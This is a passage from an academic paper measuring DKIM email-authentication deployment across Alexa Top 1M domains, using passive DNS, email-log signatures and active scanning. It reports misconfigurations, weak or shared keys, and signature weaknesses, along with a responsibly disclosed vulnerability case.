DMARC deployment [14, 15, 18], the deployment of DKIM
has been paid less attention in the email ecosystem, since
it is challenging to obtain DKIM records and measure
DKIM deployment further. Intuitively, there are two kinds
of methods to extract DKIM information: actively scanning
DKIM public keys or passively extracting DKIM signatures
from email headers. Unfortunately, active scanning method
is not suitable for measuring DKIM public keys. DKIM
public keys are published through the DNS TXT records
as “selector._domainkey.example.com”. The selector
field is chosen randomly by domain owners and thus unpre-
dictable. Besides, DKIM signatures are also difficult to collect
by security researchers. DKIM signatures are embedded in
the email header and would not be publicly released. It is
difficult for researchers to obtain large amounts of DKIM
signature data for further security analysis.

In this paper, we perform the first large-scale and longi-
tudinal measurement study on the current status of DKIM
deployment by both passive analysis and active scanning, to
the authors’ best knowledge. First, we extract DKIM records
from two passive DNS datasets and obtain DKIM signa-
tures in email headers by cooperating with our industry part-
ners. Our collected DKIM records covering 5 million domain
names and 2 million DKIM selectors and spanning more
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than five years. Then, leveraging the popular DKIM selec-
tors investigated from our passive datasets, we actively and
heuristically query DKIM records for Alexa Top 1 million do-
mains, and find at least 28.1% of the domains have deployed
DKIM. DKIM deployment rates vary significantly with differ-
ent TLDs: the domain names under .edu show the highest rate
(71.3%) in the tested generic Top Level Domains (gTLDs),
and the highest rate (58.6%) in country code Top Level Do-
mains (ccTLDs) comes from .au (Australia) domains.

While investigating DKIM mismanagement, we find preva-
lent security issues in the real world, even for the leading
email service providers like Yahoo and Gmail. First of all,
within Alexa Top 1 million domains, we find 8,147 deploy-
ment records that can not be validated due to missing or incor-
rect DKIM records, accounting for 2.9% of all DKIM-enabled
domains. Even worse, 3,292 domains were configured with
abnormal DKIM fields, resulting in parsing errors of the cor-
responding public keys. Secondly, our research demonstrates
that DKIM key management issues are prevalent: 66.9% of
DKIM-enabled domains adopt shared DKIM keys, and 84%
use weak DKIM keys. Besides, 8.4% of domains have not
rotated DKIM keys in the past five years.

We show that 94.2% of the domains in our dataset have
DKIM signature issues. 94.1% of domains use weak DKIM
signatures without including necessary email headers, such
as From, To, Subject, Content-Type, Reply-To, Date, and
Cc. And, only 2.2% domains have deployed the oversign-
ing protection mechanism that is recommended by the RFC
6376 [13]. Our results show that 6,860 (0.3%) domains still
use the “l=” tag in the DKIM signatures, which can display
fraudulent content to end-users without breaking DKIM sig-
natures, and 65.9% of domains still use the outdated hash
algorithm, i.e., SHA-1.

We have tried our best to contact the affected email
providers and report these issues, and developed an online
testing tool to help email administrators verify and deploy
their DKIM records. We believe that the online tool is helpful
for enhancing DKIM deployment.

Contributions. The contributions of the paper are as
follows:

• We perform the first large-scale and longitudinal measure-
ment study on the deployment and management of DKIM
and find 28.1% of Alexa top 1 million domains have en-
abled DKIM protection, of which 2.9% are mismanaged.

• We discover that DKIM key management and DKIM sig-
nature issues are prevalent in the real world.

• We report the vulnerabilities to the affected email providers
and provide an online DKIM testing tool to improve the
security of DKIM deployment.

2 Background

The IETF has developed various standard protocols to protect
email services from spoofing attacks, including SPF, DKIM,
and DMARC. It is necessary to understand these protocols
and their cooperation in authenticating email-sender identi-
ties.

2.1 DKIM

DomainKeys Identified Mail (DKIM) [13], as an essential
email authentication protocol, provides integrity and authen-
ticity protection for email transmission and is used to defend
against spoofing and phishing attacks [17].

Figure 1: DKIM Verification Workflow.

DKIM Workflow. Figure 1 shows the three steps of
DKIM workflow. (1) A domain owner first generates a pair
of keys and publishes the public key (DKIM record) via a
DNS TXT record. For example, if the owner of a.com sets
s1 as its selector, the DKIM record is set through a TXT
record (like the one in Figure 3) of s1._domainkey.a.com.
(2) The sending service calculates three hashes: the hash of the
email body (body-hash), the hash of selected email headers
(h-headers), and the hash of the whole email (data-hash). The
data-hash consists of body-hash, h-headers, and the DKIM-
Signature header with the exception of the value portion of the
“b=” tag. Then, the email service will sign the data-hash and
set the result as the value of the “b=” tag. After that, the email
service will insert the DKIM signature in the header block and
send the email to receivers. (3) The receiving service retrieves
the public key from the sender’s DNS server to validate the
DKIM signature on receiving the email.

DKIM Signatures and DKIM Records. DKIM sig-
nature headers and DKIM DNS records consist of differ-
ent informational elements that are represented by multiple
tag=value pairs. The examples of a DKIM signature header
and a DKIM record published on the DNS server are shown
in Figure 2 and Figure 3. We mainly parse the tags from
our datasets to further analyze DKIM configurations. The
important tags we have analyzed in DKIM records include:
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• k represents the key type. The default type is “rsa”, and
RFC 8463 [24] adds “ed25519 ” to the key type to sup-
port the Edwards-Curve Digital Signature Algorithm.

• p represents the public key. An empty value means the
public key has been revoked. This tag value is defined
by the “k=” tag before being encoded in base64.

• h represents acceptable hash algorithms. This tag is op-
tional and the default allows all algorithms (e.g., SHA-1
and SHA-256).

Figure 2: DKIM Signature Example in Email Headers.

Figure 3: DKIM Record Example Published on DNS Servers.

The important tags we have analyzed in DKIM signatures
include:

• a represents the algorithm (e.g., “RSA-SHA1”, “RSA-
SHA256”) for generating the DKIM signature. RFC
6376 [13] recommends that signers should sign
using“RSA-SHA256".

• c represents the message canonicalization algorithm. It
consists of two names separated by a “slash” charac-
ter, corresponding to the header and body canonicaliza-
tion algorithms, respectively. Default is “simple/simple”.
There are two kinds of canonicalization algorithms. The
“simple” algorithm tolerates almost no modification, and
the “relaxed” algorithm tolerates common modifications
such as whitespace replacement and header field line
rewrapping.

• s represents the selector, an attribute in the DKIM signa-
ture, which permits multiple keys under the same domain.
Email receivers use this tag to obtain the public key by
querying s1._domainkey.a.com.

• d represents the signer’s domain.

• h represents the list of headers protected by the signature.
From header must be included.

• l is an optional tag indicating the number of bytes of the
email body covered by the signature.

• bh is the hash of the canonicalized body part of the mes-
sage as limited by the “l=” tag.

• b represents the actual digital signature of the whole
email message, including the email body and the email
headers.

2.2 SPF and DMARC

Sender Policy Framework (SPF) [19] and Domain-based Mes-
sage Authentication, Reporting and Conformance (DMARC)
[21] are crucial mechanisms for email sender authentication.

SPF allows a domain owner to publish DNS records to
specify which email servers can send emails representing
their domain. When receiving an email, the receiving email
services can leverage the IP address range from the DNS
records to check whether the sending email server is legal. In
this way, SPF provides spoofing protection by limiting the
sender’s IP addresses.

DMARC is an authentication system based on the results
of SPF and DKIM verification. It enables the domain owner
to publish a policy to specify what actions the receiver should
take when the incoming email fails in the DMARC check.
When receiving an email, the receiving email services do the
SPF and DKIM check first. If the email passes one of the two
protocols, then they perform an identifier alignment test to
check whether the domain in the From header matches the
domain name verified by SPF or DKIM.

3 Dataset and Methodology

To investigate the current deployment of DKIM, we mainly
follow the three steps shown in Figure 4, including data col-
lection, processing, and analysis.

3.1 Data Collection

It is almost impossible to collect DKIM dataset at scale
without knowing the selector for each domain. However, we
find two ways to get DKIM information: (1) parsing DKIM
records from Passive DNS datasets and (2) extracting DKIM
signatures from email headers. Thus, we collaborate with our
industrial partners and get the datasets shown in Table 1, in-
cluding (1) passive DNS datasets from Chinese top security
providers, Qi-Anxin and 360, and (2) DKIM signatures from
Coremail, the leading email service provider in China.

Passive DNS. When receiving an email with a DKIM sig-
nature, the DKIM-enabled email server will retrieve the pub-
lic key to verify the DKIM signature. Therefore, the DKIM
records can be recorded in the DNS traffic of the DNS servers
used by receiving email servers. In this research, we use two
passive DNS datasets (similar to Farsight DNSDB [4]), 360
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Figure 4: Overview of DKIM Data Collection and Analysis.

PassiveDNS1 and QiAnXin PassiveDNS2. These datasets are
extracted from logs of the most popular public DNS resolvers
in China, such as 114.114.114.114 ( like Google’s 8.8.8.8).
According to our partners, DNS queries to these public DNS
resolvers account for about 10% of all DNS queries in China.
Our datasets cover queries from Jun. 2015 to Nov. 2020.

DKIM public keys are stored in DNS TXT
records of domains in the same pattern, which is
<selector>._domainkey.<domain>. Thus, we extract all
DKIM records from the passive DNS dataset by matching the
“._domainkey.” pattern in domain names. The datasets not
only contain the DKIM deployment status of a large number
of domain names but also record the changes in the DKIM
deployment status over time, which allow us to analyze the
mismanagement of DKIM from past to present.

Email Server Log. Besides the passive DNS traffic, the
email server log is another source to get DKIM information.
In this study, we extract 464 million DKIM signatures from
the real-world email headers collected by Coremail. These
signatures are collected spanning from Mar. 20, 2020, to Oct.
19, 2020, as shown in Table 1. We can parse the domains
and the relevant selectors from DKIM signature headers
collected in the email server log, then use them to look up
DKIM records via DNS. The dataset provides us with an-
other perspective to analyze DKIM deployment from DKIM
signatures.

3.2 Data Processing

Data Cleaning for Passive DNS Data. The passive DNS
datasets can not be directly used for analysis, including many
wildcard DNS records and misconfigurations. For example,
domains can configure their SPF and DMARC records as
wildcard DNS records to protect their subdomains. These
records can impact our experiment statistics since we need
to show the DKIM deployment status on the popular domain

1https://passivedns.cn/help/
2https://secrank.cn/passivedns

Table 1: Overview of DKIM Datasets.
PassiveDNS1 DKIM Signature2 Total

Distinct Selectors 2,179,653 314,767 2,376,077
Distinct Domains 3,627,871 2,203,628 5,444,288
Alexa Top-1M 87,292 53,302 101,934

1 Historical DKIM records from Qianxin PassiveDNS and 360 Pas-
siveDNS between Jun. 2015 to Nov. 2020. Qianxin and 360 are the
two largest listed cyber security companies in China.

2 DKIM signature headers from Coremail’s email server log between
Mar. 2020 to Oct. 2020. Coremail is one of the famous email providers
in China.

names. Thus, we need to clean the passive DNS data before
analyzing it.

First, we aggregate the passive DNS records, represented as
a 5-tuple (the requested domain name, DKIM record content,
the first request timestamp, the last request timestamp, and
request times), by domain names. If the DKIM records of a
domain name are the same, we merge the 5-tuple records by
extending timestamps and request times. If the DKIM records
are changed, we treat them as two different 5-tuple records.

Second, we develop a grammar parser to analyze the
DKIM records in the PassiveDNS data according to RFC
6376 [13], and use it to filter out the DKIM records that vio-
late the standard. The invalid DKIM records are discussed in
Section 5. Table 1 presents the statistics of our parsed DKIM
records. The Passive DNS datasets include 3.6 million unique
domain names with valid DKIM records, covering 87,292
domain names within Alexa Top 1M domains.

Records Deduplication for Email Server Logs. The
real-time email server log contains plenty of emails from the
same domain name. However, we only focus on the diversity
of the domain names and their related DKIM signatures rather
than the number of emails. Besides, DKIM signatures with the
same domain and selector can share the same configuration.
So we de-duplicate these DKIM signatures according to the
“d=” tag (domain) and the “s=” tag (selector). Finally, we get
2,252,528 distinct DKIM signatures, including 2,203,628 dis-
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Table 2: Top 10 Popular Selectors.
Rank Selector Name # Domain %

1 mail 643,940 11.8%
2 tvdnhvr 481,768 8.9%
3 default 457,069 8.4%
4 zplfznz 391,766 7.2%
5 20150623 384,472 7.1%
6 dkim 190,637 3.5%
7 k1 69,385 1.3%
8 google 62,148 1.1%
9 selector2 34,187 0.6%
10 key1 25,034 0.5%

tinct domain names, among which 53,302 are ranked within
Alexa Top 1 Million.

Active Scanning for the Alexa Top 1 Million Domains.
Although our passive datasets have a large number of records,
they can not cover all popular domain names. To know the
DKIM deployment status for the most popular domain names,
we also start an active scanning process. For each domain
name covered by the active scanning, we need to know its
selector, and then we can get its DKIM record by accessing
its DNS server.

Based on the passive datasets, we can get the mapping of
selectors and domains, then further de-duplicate and count the
popular selectors. We find the most popular selector “mail”
is used by more than 643 thousand domain names, which
accounts for 11.83% in our datasets. Table 2 shows the top
10 selectors in our datasets, including the common labels like
“default”, “mail” and “dkim”. All of these selectors are
used by at least 10k domain names. This feature gives us
the opportunity to conduct an active scanning on the DKIM
deployment.

After we collected popular selectors, we used them to look
up the corresponding DKIM public key records for Alexa top
domain names. The overall query volume in our measurement
is enormous because it depends on the Cartesian product of
the domain name list and the selector list. Using too many
selectors will lead to higher time overhead and influence the
related DNS services. According to our test on Alexa top
10,000 domains, we find the growth of the newly discovered
DKIM domain names becomes slow when using more than
40 selectors to measure, as shown in Figure 5. Thus, we select
the top 40 selectors to actively scan the Alexa top 1 million
domains. Results show that 28.1% of the domain names have
enabled DKIM. We will introduce more details about DKIM
adoption in Section 4.

Figure 5: Discovered DKIM Domain Numbers when Using
Different Number of Selectors.

3.3 Data Analysis

Based on the collected DKIM data, we are able to draw a big
picture of DKIM deployment status from the following four
aspects. Here we give an overview of these aspects, and the
results will be further introduced and discussed in Section 4-7
in detail.

Adoption Rate of DKIM. We combine the passive col-
lection data and the results of active scanning, and finally
calculate the DKIM deployment rate among Alexa Top 1M
domains. To know more about DKIM deployment, we also
analyze the DKIM adoption of the domains under different
ccTLD and gTLD.

Grammatical Analysis of DKIM Records. We filter
the measurement results of Alexa Top 1M domains and use
the grammar parser mentioned in the data processing step
(Section 3.2) to analyze the DKIM records. Then, we group
all abnormal DKIM records into five categories by their error
types.

Management Issues of DKIM Keys. Since our passive
DNS data contains the timestamps of the DKIM records, we
can analyze the lifetime of these DKIM records. In this part,
we extract the public keys from the DKIM records and analyze
the issues of DKIM keys from three aspects: (1) the lifetime
of the DKIM keys, (2) the sharing of the DKIM keys, and (3)
the length of the DKIM keys.

Security Issues of DKIM Signatures. The DKIM sig-
nature datasets provide us with a new perspective to ana-
lyze DKIM deployment issues. We analyze security issues of
DKIM signatures from two aspects: (1) whether the DKIM
signatures cover the email headers that are important for secu-
rity, and (2) whether the obsolete “l=” tag is used. (3) whether
the outdated hash algorithm (SHA-1) is used.
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3.4 Ethical Considerations

Data Collection. Our passive DNS dataset does not in-
clude any privacy data, as was used in previous researches [9,
16]. As for the DKIM signatures, we can only get and use
the DKIM-Signature headers provided by Coremail. Before
that, any users’ private information, like email addresses and
email bodies, has already been removed. Besides, the DKIM
signatures are stored in Coremail’s server, and we only access
and analyze the data through their bastion host.
Active Scanning. We deploy the scanning tool on ten
nodes worldwide and control the frequency interval of active
scanning. Only about 40 DNS queries will be performed for
each domain name, and the interval between the query for
the same domain will be at least five minutes, which will not
affect the normal DNS services of the involved domains.

4 Adoption Rate of DKIM

To understand the current adoption of DKIM, we conduct a
measurement on the DKIM deployment among popular email
providers and Alexa Top 1M domains.

4.1 Popular Email Providers
For selecting email providers, we first check the email services
analyzed by Hu et al. [18] and filter out the ones that can not be
used normally in China (e.g., gmx.com and tutanota.com). We
also supplement the provider list via Google search. In total,
we have investigated the DKIM deployment of 24 popular
email providers (Table 3).

We evaluate these email providers from both the sender side
and the receiver side. From the sender side, we use each email
provider to send emails and check whether DKIM signatures
are included. From the receiver side, we send emails with
normal DKIM signatures from our domain to each email
provider and check DNS request records to judge whether
DKIM verification is performed.

The results show that most email providers have adopted
DKIM. For the 24 tested email providers, we find all of them
conduct DKIM verification from the receiver side, and 6 of
them have not deployed DKIM from the sender side.

4.2 Alexa Top 1 Million Domains
Besides popular email providers, we also measure the DKIM
deployment among Alexa top 1 million domains. Note that
DKIM can achieve a better effect of preventing email spoof-
ing attacks, together with SPF and DMARC. Thus, we also
measure the deployment rate of SPF and DMARC by ac-
tive scanning, and the results can reflect the current status of
DKIM deployment from the side.
An overview of the DKIM Adoption Rate among Alexa
Top 1M Domains. We find 28.1% domains support

Table 3: DKIM Adoption of Popular Email Providers.
Email Provider DKIM Email Provider DKIM

gmail.com 3 yeah.net 3

mail.ru 3 126.com 3

zohu.com 3 139.com 7

icloud.com 3 tom.com 3

yahoo.com 3 21cn.com 7

outlook.com 3 rambler.ru 3

yandex.com 3 cock.li 3

aol.com 3 onet.pl 7

qq.com 3 runbox.com 3

sina.com 7 freemail.hu 3

sohu.com 7 naver.com 3

163.com 3 daum.net 7

Table 4: SPF/DKIM/DMARC Adoption Rate among Alexa
Top 1 Million Domains.

# All Domains (%) # MX Domains (%)

Alexa List 1,000,000 (100.0%) 748,993 (100.0%)
w/ SPF 541,008 (54.1%) 522,696 (69.8%)
w/ DKIM 280,786 (28.1%) 276,827 (37.0%)
w/ DMARC 118,468 (11.9%) 112,798 (15.1%)

DKIM based on active scanning on Alexa top 1M domains
(Table 4), and the DKIM records obtained from our passive
datasets (101,855 domains). The adoption rate of DKIM is
between that of DMARC (11.9%) and SPF (54.1%), which
is in line with expectations because SPF is proposed earlier
than DKIM, and the design of DMARC is based on SPF and
DKIM. Among the Alexa top 1 million domains, 748,993
domains have MX records, of which the adoption rate of secu-
rity protocols is relatively higher (SPF 69.8%, DKIM 37.0%,
DMARC 15.1%).

Comparing the Adoption Rate by Different TLDs.
Since DKIM is deployed for email service domains, we only
analyze MX domains in the following. We first focus on
generic top-level domains (gTLDs) such as .com, .net, and
.org, and the statistics for different gTLDs can be found in Ta-
ble 5. The .com domains account for almost half of the whole
MX domain list, so it is not surprising that the .com domains
have the most domains which support DKIM. If we focus on
the adoption rate, .edu shows the highest percentage (around
71%) of domain names that have enabled DKIM verification.
And also, the percentages of DKIM-enabled domain names
under .com and .org are both above the average adoption rate
(37.0%), which are 38.6% and 41.4% respectively.

We also analyze the DKIM deployment of domains from
the country level. We aggregate all domain names by country-
code TLDs (ccTLDs) and find that DKIM adoption rates vary
from the domains of different countries (Table 6). The .ru
domains account for the most domains that support DKIM
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Table 5: DKIM Adoption Rate among Multiple gTLDs.
gTLD MX Domains w/ DKIM (%)

.com 371,040 143,156 (38.6%)
.org 33,271 13,787 (41.4%)
.net 33,101 9,926 (30.0%)
.info 5,531 1,443 (26.1%)
.co 3,559 1,453 (40.8%)

.edu 3,062 2,183 (71.3%)
.biz 1,955 534 (27.3%)
.gov 810 431 (53.1%)

Table 6: DKIM Adoption Rate among Multiple ccTLDs.
ccTLD Country MX Domains w/ DKIM (%)

.ru Russia 34,754 12,107 (34.8%)

.de Germany 25,105 5,744 (22.9%)
.jp Japan 17,740 2,467 (13.9%)
.uk United Kingdom 15,496 7,058 (45.6%)
.br Brazil 13,990 6,737 (48.2%)
.fr France 11,012 4,141 (37.6%)
.au Australia 7,452 4,363 (58.6%)
.cn China 5,439 422 (7.8%)

under all ccTLDs, followed by .uk. Besides, we find DKIM
is very popular in Australia, and 58.6% of their MX domains
support DKIM. It is worth mentioning that most domains
in China and Japan have not supported DKIM yet, and the
DKIM adoption rate among .cn domains is only around 8.0%.

5 Grammatical Analysis of DKIM Records

In this section, we perform a grammatical analysis of the
DKIM records for Alexa top 1 million domains and find the
records of 8,147 (2.9%) domains are misconfigured. Some
types of misconfigurations are as follows, and Table 7 shows
our analysis results.

Table 7: Numbers of Misconfigured Domains.

Misconfiguration Type # Domain

Abnormal p Field 3,2921

- Missing p Field 619
- An empty p Field 172
- Public Key Errors 2553

Invalid Tags 1,967
Multiple DKIM Records For One Selector 2,522
RSA-SHA256 Unsupported 550
Others 504

1 A domain may be configured with multiple abnormal p field types.

Invalid Tags. As can be seen from Figure 3, DKIM
records should consist of different elements in the form of
tag=value pairs. When parsing DKIM records, we find that
there are invalid tags in the records of 1,967 domains. These
invalid tags contain characters that are not compliant with
RFC regulations, such as ",\,<,;, which may affect our cor-
rect extraction of tags.

Abnormal p Field. In a DKIM record, p field represents
the public key that recipients use to verify the DKIM signa-
tures. RFC 6376 stipulates that p field must appear in DKIM
records [13]. If the public key data is abnormal, recipients can
not verify the DKIM signatures correctly.

However, we find that 3,292 domains, among Alexa top
1 million domains, use abnormal public keys in their DKIM
records that can not be parsed correctly. The abnormal cases
include (1) missing p field, (2) empty p field and (3) public key
errors. Missing p field means there is no p field in the DKIM
records. Public key errors mean the keys are in invalid formats,
which include public keys with incorrect padding, misuse of
quotation marks or escape characters, and some obviously
wrong configurations like p=none. An empty p field may not
cause security issues because RFC 6376 [13] stipulates that
an empty value means this public key has been revoked, while
the other two misconfigurations involving 3,172 domains are
obviously wrong, which can make DKIM signature invalid.

Multiple DKIM Records For One Selector. RFC 6376
stipulates that DKIM records must be unique for a particular
selector explicitly [13]. However, it does not provide a spe-
cific description of which record should be selected if more
than one exists. We find 2,522 domain names (within Alexa
Top 1M) that deploy multiple DKIM records using one se-
lector in the real-word. For example, m1 is a selector used
by microsoft.com, but there are two DKIM records in the
TXT records of m1._domainkey.microsoft.com. In this situ-
ation, the DKIM validation result is determined by specific
implementations, since it is undefined in RFC standards.

According to our experiments, the implementation varies
from email services. Google and Netease (163.com) will pass
the verification of DKIM signatures, only if the last DKIM
record is correct. Meanwhile, mail.ru will regard such a sig-
nature as valid as long as one of the multiple DKIM records
is valid. Outlook and Yahoo! will consider a signature with
multiple DKIM records invalid.

RSA-SHA256 Unsupported There are two algorithms
to generate DKIM signatures, defined in RFC 6376 [13], in-
cluding RSA-SHA1 and RSA-SHA256. It is strongly en-
couraged that signers should use RSA-SHA256, because
it is proved that SHA-1 is not as collision-resistant as ex-
pected [27], and the suggested algorithms in DKIM have been
updated in the most recent RFC 8301 [20] In January 2018.
RFC 8301 stipulates that signers must use rsa-sha256, while
rsa-sha1 must not be used for signing or verifying. However,
we find that 550 domains only support the RSA-SHA1 al-
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Figure 6: Selector Numbers for Popular Domains. We analyze DKIM keys lifetime of Alexa top 100 domains. The red bars
represent the number of selectors, which have not changed their DKIM keys for a long time (5 years here).

gorithm among Alexa top 1M domains, of which the email
service administrator should update the algorithm as soon as
possible. We will discuss the risk of using the outdated hash
algorithm in Section 7.

There are also some other types of misconfigurations
in DKIM records and some of them are even confusing. For
example, we notice that some records mix DKIM records
with SPF or DMARC records, such as v=spf1; k=rsa;
p=MIGFMA.... Besides, we find the v field value of a few
records is DKIM2, which has not been proposed yet. These
issues show that some email service administrators configure
DKIM records carelessly, which can cause DKIM signatures
invalid.

6 DKIM Key Management Issues

In this section, we focus on how administrators manage
DKIM keys, mainly based on passive DNS sources that cover
3,627,871 FQDNs in total. We found three types of key man-
agement issues: 1) long lifetime keys; 2) shared keys; 3) weak
keys.

6.1 Long Lifetime Keys

DKIM keys should be rotated on a routine basis to balance the
security risk of compromised keys and operational effort [3].
We measured the lifetime of DKIM keys by examining their
occurrence period in our passive DNS datasets. If a domain
adopts multiple DKIM selectors, we will regard the longest
selector lifetime as its DKIM key lifetime. The results are
shown in Table 8 by year, and we see that 312,852 (8.6%)
domains deploy at least one DKIM key whose lifetime is over
five years.

Especially, using long-lifetime keys is common even for
the most high-profile domains. Figure 6 shows the number
of long lifetime keys of 54 domains within Alexa top 100
covered by passive DNS data, including well-known apex
domains like baidu.com, yahoo.com, and amazon.com. We
find that 10 out of Alexa top 20 domains have not rotated their
keys in the past five years, while the percentage is 68.5% out
of the above 54 domains (within Alexa Top 100).

For a more accurate evaluation, we re-measure the DKIM
keys of all domains using the popular selectors (mentioned
in Section 3.2) on Feb 4, 2021. Since we can not get the ini-
tial DKIM configuration time of all domain names, neither
through passive analysis nor active scanning, our measure-
ment results only show the lower bound of the key’s lifetime.
Thus, the real lifetime of DKIM keys can be longer than our
results.

Table 8: DKIM Key Lifetime in Passive DNS Dataset
DKIM Key

Lifetime(year) # Domain %

≥ 1 793,679 21.9%
≥ 2 652,742 18.0%
≥ 3 521,033 14.4%
≥ 4 414,022 11.4%
≥ 5 312,852 8.6%

1 The number of domains with long lifetime
DKIM keys is a subset of those with short
ones. For example, lifetime ≥ 2 is a subset
of lifetime ≥ 1.

Root Causes of Using Long Lifetime Keys. Delving into the
root causes, we find no update mechanism for DKIM keys like
the policies designed for the public key infrastructure (PKI).
RFC 6376 recommends using new selectors to replace public
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keys regularly. When administrators update DKIM keys, the
old selectors should be held on for a transition period to make
sure that the emails with old DKIM signatures can be verified.

However, it will involve two potential problems if the up-
dating mechanism for DKIM keys is unclear:

First, historical public keys are not revoked because of
the unclear transition period. Even if the DKIM keys are
changed voluntarily, administrators may not revoke historical
public keys because they can not decide a proper time for the
transition period. Thus, the historical keys still exist and can
be accessed. It is maybe one of the reasons why the major-
ity of DKIM keys have a very long lifetime. For example,
a selector for google.com called “20120113”, named by its
creation date, has hardly been queried since January 2017,
based on our Passive DNS dataset. Meanwhile, the number
of requests for another selector called “20161025” began in-
creasing dramatically. The request frequency for these two
selectors is shown in Figure 7. We find two queries for selector
“20120113” in July 2018, indicating the DKIM records still
existed at that time even if it has almost no longer been used
since January 2017. Besides, a test selector for microsoft.com
called “testarcselector01” only appeared on Mar 28th, 2019,
which can still be used to verify the DKIM signatures from
microsoft.com, with the same authority as other selectors.
From the selector name, we infer that the record was used to
test for the ARC protocol [8] and administrators may forget
to delete it.

Figure 7: Lifetime of Two DKIM Selectors Used by Google.
We analyze the DNS request times of Google’s two DKIM
keys from Apr. 2016, to Mar. 2019, by month, based on the
PassvieDNS dataset.

Second, some domains are configured with multiple selec-
tors. In our datasets, we find 142,073 domain names have
more than one selector. For example, eBay has at least 20
selectors, of which 13 selectors have not changed their DKIM
keys in the past five years. Figure 8 illustrates the distribution
of domains with multiple selectors, and we find 4,195 do-
mains with more than five selectors and 1,333 with even more
than ten selectors. There are two potential reasons for these
domains to deploy multiple selectors: (1) RFC 6376 [13] rec-
ommends DKIM signature signers should not set old selectors

for new DKIM keys. Otherwise, the emails with old DKIM
signatures can no longer be verified so that recipients can not
distinguish spoofing emails from those signed with historical
keys. (2) Distributed organizations tend to choose different
selectors and key pairs among regions or email servers. How-
ever, configuring a domain with too many selectors can in-
crease the security risks since the leakage of any one private
key will help attackers craft spoofing emails that can pass the
DKIM verification.

Case Study. We discovered a case to demonstrate the
security risk of the long lifetime keys. Previous work [11]
found Zoho.com was vulnerable to DKIM signature spoofing
attacks because of the “l=” tag. We revisited the problem two
years later and found that although Zoho.com removed the “l=”
tag and used a new selector to sign its outgoing email, it forgot
to remove the old DKIM public key from DNS records, which
means old emails with “l=” tag can still pass DKIM validation.
Attackers could exploit this to replay old emails to bypass
DMARC and spoof DKIM signatures. We have reported this
bug to Zoho.com, who have fixed it and rewarded us $200 for
the report.

Figure 8: Cumulative Distribution of Domain Names with
Multiple DKIM Selectors.

6.2 Shared Keys

Prior works have demonstrated that sharing keys may intro-
duce security issues in the PKI ecosystem [10, 12]. However,
there seems to be no in-depth understanding about the preva-
lence of shared keys in the DKIM deployment. As such, we
conduct a measurement study to evaluate key sharing issues,
and the results show that the shared keys issues is prevalent
in DKIM ecosystem.

We extract DKIM records from passive DNS sources and
group domains by their DKIM keys respectively. Notice that
we regard domains using the same public key as sharing
DKIM keys. In total, we find 61,062 DKIM keys shared by
more than one domain and 2,427,682 (66.9%) domains using
shared DKIM keys in our datasets. Table 9 shows the top 10
domain groups that share DKIM keys. Especially, there is a
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DKIM key shared by over 289,120 domains, which is used
for Google’s email service.

Table 9: Top 10 Domain Groups Using Shared DKIM Keys.
Group # Domain Email Service

1 289,120 Google
2 11,130 Strato
3 8,741 Mailchimp
4 6,979 Sendgrid
5 4,965 Pardot.com
6 4,408 Strato
7 4,156 Sendinblue
8 4,149 Exacttarget
9 3,893 Chinamail

10 1,906 Emarsys

To understand key sharing in more detail, we further inves-
tigate domain groups using the shared keys. There are two
main situations:

First, multinational companies or organizations allocate the
same DKIM keys to their controlled domains for management
convenience. For example, PayPal uses the same DKIM key
for its domains in different regions, such as paypal.com.cn
in China and paypal.com.sg in Singapore.

Second, vendors of email services (e.g., Gmail, Chinamail)
and email marketing services (e.g., Sendgrid, Salesforce) may
provide users with DKIM signature services to increase the
probability of emails they send reaching the inbox. In this sit-
uation, clients of these email services are generally configured
with the same selector and DKIM keys.

Case Study. In our passive DNS dataset, there are 4,965
domains configured with the same public key and the same
selector, such as falkonry.com, promodel.com, and polaris-
lab.com. Leveraging Google search results, we find they are
belongs to the same email marketing service, named Pardot.
What is worse, the DKIM public key they adopting is 1024
bits and has probably not been changed for ten years.

6.3 Weak Keys

We analyze the DKIM key length of domains in passive DNS
sources. Here, if a domain is configured with multiple selec-
tors during the same period, we regard the shortest DKIM key
as the key length of the domain because real attackers always
target the weakest points to launch attacks.

Our research shows 84% of 3,627,871 domains still use
DKIM keys that are less or equal to 1024 bits, while 5,399
domains use the DKIM keys that are even less than 512 bits.
However, weak keys are not encouraged for the current DKIM
practices. National Institute of Standards and Technology
(NIST) has recommended against using 1024-bit keys since
December 31, 2013. RFC 8301 also points out that short

RSA keys more easily succumb to offline attacks, and signers
should use RSA keys of at least 2048 bits [20].

Table 10: DKIM Key Length in PassiveDNS.
DKIM Key Length # Domain %

len = 2048 579,032 16.0%
1024 < len < 2048 6,611 0.2%
len = 1024 3,006,398 82.9%
512 < len < 1024 30,431 0.8%
len≤ 512 5,399 0.2%

To know whether email service administrators have im-
plemented the best DKIM practices, we further investigate
key lengths of newly added DKIM keys for each year. We
regard the earliest timestamp of a DKIM record as the DKIM
key configuration time. Figure 9 shows the number and the
percentage of different DKIM key lengths for every year. To
better present the changes of different key lengths in the figure,
we used lognumber

2 when calculating the percentages since key
numbers with different lengths differ by orders of magnitude.
We can see that 1024-bits DKIM keys are still the mainstream
of in current practices. In addition, DKIM keys are becoming
more and more secure, as we notice the proportion of keys
no longer than 512 bits has decreased, and that of 2048 bits
has increased. The results demonstrate that administrators
tend to use more secure keys when updating DKIM config-
urations for email security. Considering the improvement of
computing power, we suggest this updating process should be
accelerated.

Figure 9: Number and Percentage of Different DKIM Key
Lengths from 2015 to 2020. The percentage is calculated by
the lognumber

2 of different DKIM key lengths.

7 DKIM Signature Issues

DKIM provides many user-defined options, so it is prone to
some configuration issues. We can analyze issues of DKIM
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signatures in practice based on 460 million DKIM signa-
tures derived from real emails provided by Coremail. We
find 94.2% domains have DKIM signature issues, including
weak DKIM signatures, insecure “l=” tags, and outdated hash
algorithms.

7.1 Weak DKIM Signatures

DKIM signatures should sign important email headers to
protect the content integrity of emails and avoid being abused
for replay attacks. However, RFC 6376 [13] only specifies the
From field to be must signed. Although it also recommends
that 20 headers should be signed in the DKIM signatures, we
find no domain in the Coremail DKIM data signing all of the
20 headers and the header fields signed in DKIM signatures
vary among different email services.

However, it is insecure if some important fields are not
signed, since attackers can arbitrarily tamper with the value of
these fields to construct spoofing emails they need. For exam-
ple, an attacker can replace the reply address of a legitimate
email with their address if the Reply-To field is not signed,
and thus, any reply email will be sent to the attacker.

We investigate all of the 20 headers recommended to be
signed in the RFC 6376 [13] and divide them into two cate-
gories, as shown in Table 11. The meaning of these headers
are introduced in Appendix B. We suggest that DKIM signa-
tures should at least sign the fields in the first class, because
they represent the parts that users can easily notice from user
interfaces. If they are not signed, a DKIM signature can be
abused for replay attacks and the user will likely notice that a
